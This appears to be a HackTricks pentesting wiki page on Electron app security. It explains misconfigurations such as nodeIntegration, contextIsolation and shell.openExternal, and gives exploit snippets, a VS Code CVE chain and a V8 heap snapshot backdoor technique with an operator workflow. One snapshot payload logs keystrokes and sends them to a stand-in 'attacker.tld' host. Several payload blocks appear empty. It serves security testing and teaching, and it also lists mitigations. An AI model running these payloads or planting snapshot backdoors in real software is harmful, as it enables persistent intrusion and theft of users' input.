# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Introduction Electron combines a local backend (with **NodeJS**) and a frontend (**Chromium**), although tt lacks some the security mechanisms of modern browsers. Usually you might find the electron app code inside an `.asar` application, in order to obtain the code you need to extract it: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` In the source code of an Electron app, inside `packet.json`, you can find specified the `main.js` file where security configs ad set. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron has 2 process types: - Main Process (has complete access to NodeJS) - Renderer Process (should have NodeJS restricted access for security reasons) ![](<../../../images/image (182).png>) A **renderer process** will be a browser window loading a file: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**. The electron application **could access the device** via Node apis although it can be configure to prevent it: - **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process. - **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated. - **`preload`** - empty by default. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. - Node Integration in Workers - **`nodeIntegrationInSubframes`**- is `off` by default. - If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. - If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe Example of configuration: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### Capture traffic Modify the start-main configuration and add the use of a proxy such as: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: ```html ```
## RCE: preload The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` Therefore, the script can export node-features to pages: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **If `contextIsolation` is on, this won't work** ## RCE: XSS + contextIsolation The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. If the contexts aren't isolated an attacker can: 1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites) 2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function 3. **Trigger** the use of **overwritten function** 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### Bypass click event If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) When deploying an Electron desktop application, ensuring the correct settings for `nodeIntegration` and `contextIsolation` is crucial. It's established that **client-side remote code execution (RCE)** targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place. Upon a user interacting with links or opening new windows, specific event listeners are triggered, which are crucial for the application's security and functionality: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function. **Here is a simplified pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability. In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`. **Examples of Windows protocol exploits include:** ```html ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like: ```xml ``` Therefore, an attacker that manages to load an arbitrary page could use that tag to **load an arbitrary preload script**. This preload script was abused then to call a **vulnerable IPC service (`skype-new-window`)** which was calling calling **`shell.openExternal`** to get RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## Reading Internal Files: XSS + contextIsolation **Disabling `contextIsolation` enables the use of `` tags**, similar to ` ``` ## **RCE: XSS + Old Chromium** If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\ You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**. First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**. In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user: ```html ``` ## `file://` Protocol As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files. ## Remote module The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. > [!TIP] > Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. > [!WARNING] > Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**. Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**. To enable it, it'd first needed to **enable it in the main process**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` Then, the renderer process can import objects from the module it like: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module: - **`app.relaunch([options])`** - **Restarts** the application by **exiting** the current instance and **launching** a new one. Useful for **app updates** or significant **state changes**. - **`app.setAppLogsPath([path])`** - **Defines** or **creates** a directory for storing **app logs**. The logs can be **retrieved** or **modified** using **`app.getPath()`** or **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registers** the current executable as the **default handler** for a specified **protocol**. You can provide a **custom path** and **arguments** if needed. - **`app.setUserTasks(tasks)`** - **Adds** tasks to the **Tasks category** in the **Jump List** (on Windows). Each task can control how the app is **launched** or what **arguments** are passed. - **`app.importCertificate(options, callback)`** - **Imports** a **PKCS#12 certificate** into the system’s **certificate store** (Linux only). A **callback** can be used to handle the result. - **`app.moveToApplicationsFolder([options])`** - **Moves** the application to the **Applications folder** (on macOS). Helps ensure a **standard installation** for Mac users. - **`app.setJumpList(categories)`** - **Sets** or **removes** a **custom Jump List** on **Windows**. You can specify **categories** to organize how tasks appear to the user. - **`app.setLoginItemSettings(settings)`** - **Configures** which **executables** launch at **login** along with their **options** (macOS and Windows only). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences module The **primary API** for accessing system preferences and **emitting system events** in Electron. Methods like **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, and **setUserDefault** are all **part of** this module. **Example usage:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **Listens** for **native macOS notifications** using NSDistributedNotificationCenter. * Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver. * After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**. ### **getUserDefault / setUserDefault** * **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS. * **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**. * **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**. * In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**. ## Shell.showItemInFolder This function whows the given file in a file manager, which **could automatically execute the file**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser. It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**. For more information check: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt Attack chain overview - First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId. - Constructing target webview URL: Using the leaked ID to build `vscode-webview:///.../`. - Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`. - Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution. Example RCE primitive in the final context ```js // RCE.html (executed in a Node-enabled webview context) require('child_process').exec('calc.exe'); // Windows require('child_process').exec('/System/Applications/Calculator.app'); // macOS ``` Related reading on postMessage trust issues: {{#ref}} ../../../pentesting-web/postmessage-vulnerabilities/README.md {{#endref}} ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries - [**Electro.ng**](https://electro.ng/): You need to buy it ## Labs In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps. Some commands that will help you will the lab: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR. Key points - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. - Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. Generating a malicious snapshot without building Chromium - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. Example minimal payload (prove execution by forcing a crash) ```js // Build snapshot from this payload // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" // Replace the application’s v8_context_snapshot.bin with the generated file const orig = Array.isArray; // Use Array.isArray as a ubiquitous gadget Array.isArray = function () { // Executed whenever the app calls Array.isArray throw new Error("testing isArray gadget"); }; ``` Isolate-aware payload routing (run different code in main vs. renderer) - Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate. - Browser/renderer detection: Browser-only globals like alert are available when running in a document context. Example gadget that probes main-process Node capabilities once ```js const orig = Array.isArray; Array.isArray = function() { // Defer until we land in main (has Node process) try { if (!process || !process.pid) { return orig(...arguments); } } catch (_) { return orig(...arguments); } // Run once if (!globalThis._invoke_lock) { globalThis._invoke_lock = true; console.log('[payload] isArray hook started ...'); // Capability probing in main console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`); console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`); console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`); console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`); process.exit(0); } return orig(...arguments); }; ``` Renderer/browser-context data theft PoC (e.g., Slack) ```js const orig = Array.isArray; Array.isArray = function() { // Wait for a browser context try { if (!alert) { return orig(...arguments); } } catch (_) { return orig(...arguments); } if (!globalThis._invoke_lock) { globalThis._invoke_lock = true; setInterval(() => { window.onkeydown = (e) => { fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'}) } }, 1000); } return orig(...arguments); }; ``` Operator workflow 1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate. 2) Build the snapshot without Chromium sources: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" 3) Overwrite the target application’s snapshot file(s): - v8_context_snapshot.bin (always used) - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) 4) Launch the application; the gadget executes whenever the chosen builtin is used. Notes and considerations - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. Detection and mitigations - Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). - Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. - Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. ## **References** - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots) - [electron/mksnapshot](https://github.com/electron/mksnapshot) - [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/) - [Loki C2](https://github.com/boku7/Loki/) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}